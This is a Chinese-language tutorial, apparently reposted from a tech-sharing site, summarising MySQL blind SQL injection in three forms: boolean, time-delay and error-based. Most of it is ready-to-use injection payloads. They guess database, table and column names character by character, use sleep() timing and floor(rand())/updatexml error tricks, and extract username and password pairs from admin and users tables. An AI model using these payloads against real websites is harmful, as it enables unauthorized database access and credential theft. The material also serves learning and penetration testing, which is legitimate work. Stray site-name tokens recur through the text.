Mysql盲注总结
- 什么是盲注?
盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。 - SQL盲注与SQL普通注入的区别?
普通注入是可以根据报错提示,进行sql语句注入从而,直接爆出我们想要的信息,比如数据库版本、数据库名、用户名、操作系统版本等;而盲注只能通过多次猜测,从而猜解出有用信息。相对来说sql盲注更加考验安全人员的手注能力。 - SQL盲注分类:
Sql盲注可以简单分为三类 :布尔盲注、延时盲注和报错盲注
什么是布尔盲注?
布尔(Boolean)型是计算机里的一种数据类型,只有True(真)和False(假)两个值。一般也称为逻辑型。 页面在执行sql语句后,只显示两种结果,这时可通过构造逻辑表达式的sql语句来判断数据的具体内容。
讯享网
布尔注入用到的函数:
讯享网mid(str,start,length) :字符串截取 ORD() :转换成ascii码 Length() :统计长度 version() :查看数据库版本 database() :查看当前数据库名 user() :查看当前用户
布尔注入流程:
猜解获取数据库长度
' or length(database()) > 8 --+ :符合条件返回正确,反之返回错误
猜解数据库名
讯享网'or mid(database(),1,1)= 'z' --+ :因为需要验证的字符太多,所以转化为ascii码验证 'or ORD(mid(database(),1,1)) > 100 --+ :通过确定ascii码,从而确定数据库名
猜解表的总数
'or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 2 --+ :判断表的总数
猜解第一个表名的长度
讯享网'or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1) = 5 --+ 'or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1) = 5 --+ (第二个表)
猜解第一个表名
'or mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1 ),1,1) = 'a' --+ 或者 'Or ORD(mid(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1),1,1)) >100 --+
猜解表的字段的总数
讯享网'or (select count(column_name) from information_schema.COLUMNS where TABLE_NAME='表名') > 5 --+
猜解第一个字段的长度
'or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME='表名' limit 0,1) = 10 --+ 'or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1) = 10 --+ (第二个字段)
猜解第一个字段名
讯享网'or mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1) = 'i' --+ 或者 'or ORD(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1)) > 100 --+
猜解直接猜测字段名
' or (select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1) = 'username' --+
猜解内容长度
讯享网假如已经知道字段名为 id username password 'or (select Length(concat(username,"---",password)) from admin limit 0,1) = 16 --+
猜解内容
'or mid((select concat(username,"-----",password) from admin limit 0,1),1,1) = 'a' --+ 或者 'or ORD(mid((select concat(username,"-----",password) from admin limit 0,1),1,1)) > 100 --+ ASCII码猜解
也可以直接猜测内容
讯享网'or (Select concat(username,"-----",password) from admin limit 0,1 ) = 'admin-----' --+
什么是延迟盲注?
提交对执行时间敏感的函数sql语句,通过执行时间的长短来判断是否执行成功,比如:正确的话会导致时间很长,错误的话会导致执行时间很短,这就是所谓的延迟盲注
延迟盲注需要的函数:
讯享网Sleep() :延迟函数 If(condition,true,false) :条件语句 mid(str,start,length) :字符串截取 ORD() :转换成ascii码 Length() :统计长度 version() :查看数据库版本 database() :查看当前数据库名 user() :查看当前用户
延迟注入流程:
获取数据库总数
' and sleep(if((select count(SCHEMA_NAME) from information_schema.SCHEMATA)= 7,0,5)) 如果数据库总数等于7响应时间为0秒,如果不等于7 相应时间为5秒
猜解当前数据库长度
讯享网' and sleep(if((length(database()) = 8),0,5))--+ //当前数据库名长度为8

猜解当前数据库名
' and sleep(if((ORD(mid(database(),1,1)) =115 ),0,5))--+ //ascii码115 就是 s
猜解当前数据库表的总数
讯享网And sleep(if((注入语句),0,5)) //类似布尔注入推理即可 ,例如: ' And sleep(if((select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 2,0,5))--+

猜解当前数据库表的长度
根据布尔注入推理即可
猜解当前数据库表名
猜解当前数据库表的字段总数
猜解当前数据库表的字段长度
猜解当前数据库表的字段名
猜解内容
什么是报错盲注?
基于报错的盲注是通过输入特定语句使页面报错,网页中则会输出相关错误信息,从而是我们得到想要的基本信息——数据库名、版本、用户名等,如下图:
报错注入又分为两种爆错类型:数据库BUG报错注入和数据库函数报错注入
利用数据库BUG报错注入需要的函数:
讯享网只要是count(),rand() ,group by 三个函数连用就会造成这种报错 left(rand(),3) :不一定报错 floor(rand(0)*2) :一定报错 round(x,d) :x指要处理的数,d是指保留几位小数 concat() :字符串拼接
利用函数报错注入需要的函数:
Updatexml() Exp() Geometrycollection() Polygon() Multipoint() Multilinestring() Multipolygon() 等.....
利用数据库bug报错注入的流程
爆数据库的两种方法
讯享网' and (select concat(floor(rand(0)*2),"===",(select database())) as xx,count(1) from information_schema.columns group by xx) ' union select concat(floor(rand(0)*2),"===",(select database())) as xx,count(1),3 from information_schema.columns group by xx
爆表名
' union select concat(floor(rand(0)*2),"===",(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 3,1)) as xx,count(1),3 from information_schema.columns group by xx--+

爆字段
讯享网' union select concat(floor(rand(0)*2),"===",(select column_name from information_schema.columns where TABLE_SCHEMA=database() limit 8,1)) as xx,count(1),3 from information_schema.columns group by xx--+

猜解内容
' and ORD(mid((select concat(username,"-----",password) from security.users limit 0,1),1,1)) =68 %23 //逐个猜解内容(详情见布尔注入)
讯享网' and 1=(updatexml(1,concat(0x3a,(select database() )),1))--+


版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/70322.html